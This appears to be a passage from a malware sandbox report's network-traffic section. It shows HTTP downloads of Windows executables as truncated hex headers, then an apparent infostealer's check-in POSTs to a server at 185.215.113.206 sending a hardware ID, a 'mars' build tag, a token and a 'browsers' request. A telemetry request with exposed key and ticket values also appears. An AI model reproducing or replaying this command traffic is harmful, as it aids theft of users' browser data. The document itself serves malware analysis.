Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:14:48 GMTContent-Type: application/octet-streamContent-Length: 1794560Last-Modified: Sun, 24 Nov 2024 00:58:12 GMTConnection: keep-aliveETag: "67427a24-1b6200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 c0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 68 00 00 04 00 00 26 89 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2a 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 71 66 6c 76 68 6e 63 73 00 d0 19 00 00 e0 4e 00 00 c4 19 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 65 64 7a 76 67 62 75 00 10 00 00 00 b0 68 00 00 04 00 00 00 3c 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 c0 68 00 00 22 00 00 00 40 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:14:56 GMTContent-Type: application/octet-streamContent-Length: 921600Last-Modified: Sun, 24 Nov 2024 00:56:19 GMTConnection: keep-aliveETag: "674279b3-e1000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ab 79 42 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 60 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 cd d2 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 a0 a5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 a0 a5 00 00 00 40 0d 00 00 a6 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9a 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:15:05 GMTContent-Type: application/octet-streamContent-Length: 2832384Last-Modified: Sun, 24 Nov 2024 00:56:45 GMTConnection: keep-aliveETag: "674279cd-2b3800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1a da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 71 77 66 7a 77 6f 62 00 e0 2a 00 00 a0 00 00 00 d8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 63 66 70 72 6a 6d 00 20 00 00 00 80 2b 00 00 04 00 00 00 12 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 16 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:15:42 GMTContent-Type: application/octet-streamContent-Length: 2832384Last-Modified: Sun, 24 Nov 2024 00:56:48 GMTConnection: keep-aliveETag: "674279d0-2b3800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1a da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 71 77 66 7a 77 6f 62 00 e0 2a 00 00 a0 00 00 00 d8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 63 66 70 72 6a 6d 00 20 00 00 00 80 2b 00 00 04 00 00 00 12 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 16 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:16:04 GMTContent-Type: application/octet-streamContent-Length: 2832384Last-Modified: Sun, 24 Nov 2024 00:56:48 GMTConnection: keep-aliveETag: "674279d0-2b3800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 a0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 e0 2b 00 00 04 00 00 1a da 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 72 71 77 66 7a 77 6f 62 00 e0 2a 00 00 a0 00 00 00 d8 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 6c 63 66 70 72 6a 6d 00 20 00 00 00 80 2b 00 00 04 00 00 00 12 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 a0 2b 00 00 22 00 00 00 16 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 24 Nov 2024 01:20:59 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 24 Nov 2024 01:20:57 GMTConnection: keep-aliveETag: "67427f79-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 05 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 be 00 00 00 00 00 00 a0 89 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 05 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 cd 3b 04 00 8c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 34 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 3d 04 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a9 08 04 00 00 10 00 00 00 0a 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 a7 20 00 00 00 20 04 00 00 22 00 00 00 0e 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 8c 00 01 00 00 50 04 00 00 5a 00 00 00 30 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 04 00 00 00 00 60 05 00 00 02 00 00 00 8a 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3e 00 00 00 70 05 00 00 40 00 00 00 8c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: POST /OneCollector/1.0/ HTTP/1.1Accept: /APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAEJanOM/f8BEauEo6GRqguxLgAJt0LBh1uWaBD08sPTthnLouxyOeqq8UXC40zxYtXUeuLL3jc98oc4sgTt8Qg5RgpVyPUGOqQCdIMU+jHj5jPNgpCOYLzgjk7/68jQbYqRpL5buJGDaKHJUU4Qzi5sjC1iwUwrkBZLfklCNSWdGai+iykzR0ELnFD4lJb88vZch+TXuihcRzjbZvJG6mFONQPa3ignNQpsSbQgkMM4xuASI/kaIM+YTU5dBQE1SH8k0CwZj5Yc3H1S94NyGSn+DeuALqccEE8gt3uchW9hnkYs9tmlAQt7GBc9BBk/kSpz+oHgE=&p=Client-Id: NO_AUTHContent-Encoding: deflateContent-Type: application/bond-compact-binaryExpect: 100-continueSDK-Version: EVT-Windows-C++-No-3.4.15.1Upload-Time: 1732411067938Host: self.events.data.microsoft.comContent-Length: 7974Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAAAKJDAAFBAAKEBAAKFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 43 46 31 35 36 32 44 42 45 35 38 34 35 37 37 30 33 39 37 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 41 41 41 4b 4a 44 41 41 46 42 41 41 4b 45 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="hwid"C4CF1562DBE5845770397------BAAAKJDAAFBAAKEBAAKFContent-Disposition: form-data; name="build"mars------BAAAKJDAAFBAAKEBAAKF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JECAEHJJJKJKFIDGCBGIHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 30 33 37 63 37 36 32 36 34 39 62 30 64 62 30 61 35 61 61 61 31 31 30 37 33 30 32 36 31 30 64 64 61 31 33 32 62 32 30 35 35 37 32 37 63 37 39 32 37 65 38 35 62 32 66 64 37 61 30 31 62 66 66 37 61 37 62 35 66 35 36 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 43 41 45 48 4a 4a 4a 4b 4a 4b 46 49 44 47 43 42 47 49 2d 2d 0d 0a Data Ascii: ------JECAEHJJJKJKFIDGCBGIContent-Disposition: form-data; name="token"6037c762649b0db0a5aaa1107302610dda132b2055727c7927e85b2fd7a01bff7a7b5f56------JECAEHJJJKJKFIDGCBGIContent-Disposition: form-data; name="message"browsers------JECAEHJJJKJKFIDGCBGI--
